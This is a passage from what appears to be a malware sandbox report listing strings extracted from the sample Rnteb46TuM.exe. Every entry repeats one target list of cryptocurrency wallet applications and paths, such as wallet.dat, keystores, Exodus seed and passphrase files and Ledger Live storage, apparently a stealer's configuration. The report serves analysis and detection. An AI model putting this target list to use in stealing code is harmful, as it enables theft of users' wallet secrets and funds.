Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.00000000019E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000064A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Liberty
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.00000000019E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.00000000019E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.00000000019E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.00000000019E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.00000000019E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.00000000019E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.00000000019E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.00000000019E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.00000000019E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.00000000019E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia 